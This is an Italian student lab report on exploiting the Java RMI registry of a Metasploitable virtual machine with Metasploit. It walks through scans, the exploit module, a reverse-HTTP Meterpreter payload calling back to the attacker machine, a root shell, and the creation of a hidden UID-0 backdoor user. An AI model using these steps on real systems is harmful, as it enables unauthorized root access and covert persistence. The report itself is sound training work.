

REPORT

16.06.2023

Anatoliy Prsyazhnyuk

Report sull'esercizio di sfruttamento della vulnerabilità Java RMI tramite Metasploit

Obiettivo:

L'obiettivo dell'esercizio era sfruttare la vulnerabilità di Metasploit sulla porta **1099**, relativa alla **Java RMI**, al fine di ottenere una sessione con Meterpreter sulla macchina vittima (Metasploitable). Successivamente, dovevamo raccogliere informazioni sulla configurazione di rete, la tabella di routing e altro a nostra discrezione.

Fasi dell'esercizio:

Configurazione delle macchine virtuali:

Ho impostato gli indirizzi IP richiesti sulle macchine virtuali Kali e Metasploitable come segue:

Kali: **192.168.99.111**

Metasploitable: **192.168.99.112**

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:5f:e1:0c brd ff:ff:ff:ff:ff:ff
    inet 192.168.99.112/24 brd 192.168.99.255 scope global eth0
    inet6 fe80::a00:27ff:fe5f:e10c/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ _
```

```
(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state U
   NKOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_
   codel state UP group default qlen 1000
   link/ether 08:00:27:c7:e1:36 brd ff:ff:ff:ff:ff:ff
   inet 192.168.99.111/24 brd 192.168.99.255 scope global et
   h0
       valid_lft forever preferred_lft forever
   inet6 fe80::a00:27ff:fec7:e136/64 scope link
       valid_lft forever preferred_lft forever
```

Scansione con Nessus:

Ho eseguito una scansione con Nessus e tra INFO ho trovato un servizio chiamato **Registry RMI** che gestisce la comunicazione tra processi in Java.

Scan Metasploitable / Plugin #22227

[Back to Vulnerabilities](#)

Vulnerabilities 50

INFO RMI Registry Detection

Description

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

See Also

<https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html>
<http://www.nessus.org/u?b6fd7659>

Output

```
Valid response recieved for port 1099:
0x00: 51 AC ED 00 05 77 0F 01 4F 0D 86 9D 00 00 01 88      Q....w..O.....
0x10: C3 70 7B 62 80 02 75 72 00 13 5B 4C 6A 61 76 61      .p(b..ur..[Ljava
0x20: 2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56      .lang.String;..V
0x30: E7 E9 1D 7B 47 02 00 00 70 78 70 00 00 00 00      ...{G...pxp....
```

To see debug logs, please visit individual host

Port ▲

Hosts

1099 / tcp / rmi_regist... 192.168.99.112

Scansione con nmap:

Ho eseguito una scansione utilizzando il seguente comando nmap: `"nmap -sV -p1099 192.168.99.112"`. Questo comando ha consentito di individuare i servizi in ascolto sulla porta 1099 e fornire informazioni sulle versioni.

```
kali@kali: ~
File Actions Edit View Help

(kali@kali)-[~]
$ nmap -sV -p1099 192.168.99.112
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-16 04:58 EDT
Nmap scan report for 192.168.99.112
Host is up (0.00025s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.33 seconds
```

Scansione nmap più dettagliata:

Successivamente, ho eseguito una scansione più approfondita utilizzando il comando `nmap -script vuln -p 1099 192.168.99.112`. Questo comando ha applicato lo script "vuln" per verificare se il servizio sulla porta 1099 presentava vulnerabilità specifiche.

```
(kali㉿kali)-[~]
└─$ nmap -script vuln -p 1099 192.168.99.112
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-16 05:44 EDT
Nmap scan report for 192.168.99.112
Host is up (0.00043s latency).

PORT      STATE SERVICE
1099/tcp  open  rmiregistry
| rmi-vuln-classloader:
|   VULNERABLE:
|     RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|     Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
|     References:
|_    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb

Nmap done: 1 IP address (1 host up) scanned in 37.21 seconds
```

Avvio di msfconsole:

Ho avviato l'ambiente Metasploit utilizzando il comando "msfconsole".

```
(kali㉿kali)-[~]
└─$ msfconsole

      Cripta-Dec...

(( _ _ , , _ ))
( _ ) 0 0 ( _ )
    \_o_o_/
        |   M S F
        ||| ww||| *
        |||   |||

+ -- ==[ metasploit v6.3.19-dev ]
+ -- ==[ 2318 exploits - 1215 auxiliary - 412 post ]
+ -- ==[ 1234 payloads - 46 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit tip: Search can apply complex filters such as
search cve:2009 type:exploit, see all the filters
with help search
Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

Ricerca del modulo di exploit:

Ho eseguito una ricerca all'interno di Metasploit per individuare il modulo di exploit relativo alla vulnerabilità "java_rmi_server".

```
msf6 > search java_rmi_server

Matching Modules



| # | Name                                   | Disclosure Date | Rank      | Check | Description                 |
|---|----------------------------------------|-----------------|-----------|-------|-----------------------------|
| 0 | exploit/multi/misc/java_rmi_server     | 2011-10-15      | excellent | Yes   | Java RMI Server Insecure De |
| 1 | auxiliary/scanner/misc/java_rmi_server | 2011-10-15      | normal    | No    | Java RMI Server Insecure En |



Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/misc/java_rmi_server

msf6 > █
```

Selezione del modulo di exploit:

Ho selezionato il modulo di exploit utilizzando il comando "use 0" o, se necessario, specificando il percorso del modulo con il comando "use /percorso/del/modulo".

```
msf6 > use 0
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > █
```

Selezione del payload:

Ho scelto il payload "java/meterpreter/reverse_http" per consentire l'accesso e il controllo remoto sulla macchina vittima. Questo payload consente di stabilire una connessione reverse HTTP con Meterpreter.

```
msf6 exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads



| #  | Name                                    | Disclosure Date | Rank   | Check | Description                                                   |
|----|-----------------------------------------|-----------------|--------|-------|---------------------------------------------------------------|
| 0  | payload/generic/custom                  |                 | normal | No    | Custom Payload                                                |
| 1  | payload/generic/shell_bind_aws_ssm      |                 | normal | No    | Command Shell, Bind SSM (via AWS API)                         |
| 2  | payload/generic/shell_bind_tcp          |                 | normal | No    | Generic Command Shell, Bind TCP Inline                        |
| 3  | payload/generic/shell_reverse_tcp       |                 | normal | No    | Generic Command Shell, Reverse TCP Inline                     |
| 4  | payload/generic/ssh/interact            |                 | normal | No    | Interact with Established SSH Connection                      |
| 5  | payload/java/jsp_shell_bind_tcp         |                 | normal | No    | Java JSP Command Shell, Bind TCP Inline                       |
| 6  | payload/java/jsp_shell_reverse_tcp      |                 | normal | No    | Java JSP Command Shell, Reverse TCP Inline                    |
| 7  | payload/java/meterpreter/bind_tcp       |                 | normal | No    | Java Meterpreter, Java Bind TCP Stager                        |
| 8  | payload/java/meterpreter/reverse_http   |                 | normal | No    | Java Meterpreter, Java Reverse HTTP Stager                    |
| 9  | payload/java/meterpreter/reverse_https  |                 | normal | No    | Java Meterpreter, Java Reverse HTTPS Stager                   |
| 10 | payload/java/meterpreter/reverse_tcp    |                 | normal | No    | Java Meterpreter, Java Reverse TCP Stager                     |
| 11 | payload/java/shell/bind_tcp             |                 | normal | No    | Command Shell, Java Bind TCP Stager                           |
| 12 | payload/java/shell/reverse_tcp          |                 | normal | No    | Command Shell, Java Reverse TCP Stager                        |
| 13 | payload/java/shell_reverse_tcp          |                 | normal | No    | Java Command Shell, Reverse TCP Inline                        |
| 14 | payload/multi/meterpreter/reverse_http  |                 | normal | No    | Architecture-Independent Meterpreter Stage, Reverse HTTP Stag |
| 15 | payload/multi/meterpreter/reverse_https |                 | normal | No    | Architecture-Independent Meterpreter Stage, Reverse HTTPS Sta |



msf6 exploit(multi/misc/java_rmi_server) > set payload 8
payload => java/meterpreter/reverse_http
```

Configurazione delle opzioni:

Utilizzando il comando "show options", ho visualizzato le opzioni del modulo di exploit e ho modificato l'opzione "RHOST" impostandola sull'indirizzo IP della macchina vittima (192.168.99.112).

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 20              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    | 192.168.99.112  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8085            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_http):



| Name  | Current Setting | Required | Description                 |
|-------|-----------------|----------|-----------------------------|
| LHOST | 192.168.99.111  | yes      | The local listener hostname |
| LPORT | 4445            | yes      | The local listener port     |
| LURI  |                 | no       | The HTTP Path               |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |


```

Esecuzione dell'exploit:

Ho eseguito l'exploit utilizzando il comando "run" per sfruttare la vulnerabilità sulla macchina vittima.

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started HTTP reverse handler on http://192.168.99.111:4445
[*] 192.168.99.112:1099 - Using URL: http://192.168.99.111:8085/BH8ndGi00Vy
[*] 192.168.99.112:1099 - Server started.
[*] 192.168.99.112:1099 - Sending RMI Header...
[*] 192.168.99.112:1099 - Sending RMI Call...
[*] 192.168.99.112:1099 - Replied to request for payload JAR
[*] http://192.168.99.111:4445 handling request from 192.168.99.112; (UUID: pncwvn7m) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.99.111:4445 handling request from 192.168.99.112; (UUID: pncwvn7m) Staging java payload (59362 bytes) ...
[*] http://192.168.99.111:4445 handling request from 192.168.99.112; (UUID: pncwvn7m) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.99.111:4445 → 192.168.99.112:33836) at 2023-06-16 07:49:05 -0400
```

Ottenimento dell'accesso e raccolta delle informazioni:

Una volta ottenuta la sessione con Meterpreter, ho creato una shell interattiva sulla macchina vittima. Ciò mi ha consentito di eseguire i comandi richiesti dall'esercizio, come ad esempio "ifconfig" per ottenere informazioni sulla configurazione di rete e "route" per visualizzare la tabella di routing. Ho anche eseguito altri comandi come "pwd", "id", "whoami" e "sysinfo" per raccogliere ulteriori informazioni sulla macchina vittima.

```
meterpreter > sysinfo

Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
```

```
meterpreter > ifconfig
```

Interface 1

```
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
```

Interface 2

```
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.99.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:feec:f94a
IPv6 Netmask : ::
```

```
meterpreter > shell
```

```
Process 1 created.
```

```
Channel 1 created.
```

```
pwd
```

```
/
```

```
id
```

```
uid=0(root) gid=0(root)
```

```
whoami
```

```
root
```

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.99.112	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:feec:f94a	::	::		

```
meterpreter >
```

Extra:

Creazione di un nuovo utente con privilegi root, nascosto:

Creo un nuovo utente con:

```
useradd -ou 0 -g 0 -G 0 anatoliy  
passwd anatoliy
```

"-ou 0": specifica l'ID utente (UID) dell'utente. In questo caso, "0" che è riservato all'utente root.

"-g 0": specifica l'ID gruppo primario (GID) dell'utente. In questo caso, "0" che è riservato per il gruppo root.

"-G 0": specifica i gruppi supplementari (GID) a cui l'utente apparterrà. In questo caso, "0" indica che l'utente farà parte anche del gruppo root come gruppo supplementare.

```
useradd -ou 0 -g 0 -G 0 anatoliy  
passwd anatoliy  
Enter new UNIX password: anatoliy  
Retype new UNIX password: anatoliy  
passwd: password updated successfully
```

Visualizzo l'utente con "cat /etc/passwd"

```
anatoliy:x:0:0::/home/anatoliy:/bin/sh
```

Visualizzo anche l'hash del nuovo utente "anatoliy", con "cat /etc/shadow"

```
anatoliy:$1$9gN2s71b$1JfGQgpZSpqSuwq0ZKxB50:19524:0:99999:7 :::
```

Conclusione:

L'esercizio di sfruttamento della vulnerabilità Java RMI tramite Metasploit è stato completato con successo. Sono riuscito a ottenere una sessione con Meterpreter sulla macchina vittima (Metasploitable) e a raccogliere informazioni pertinenti, come richiesto dalle specifiche dell'esercizio.

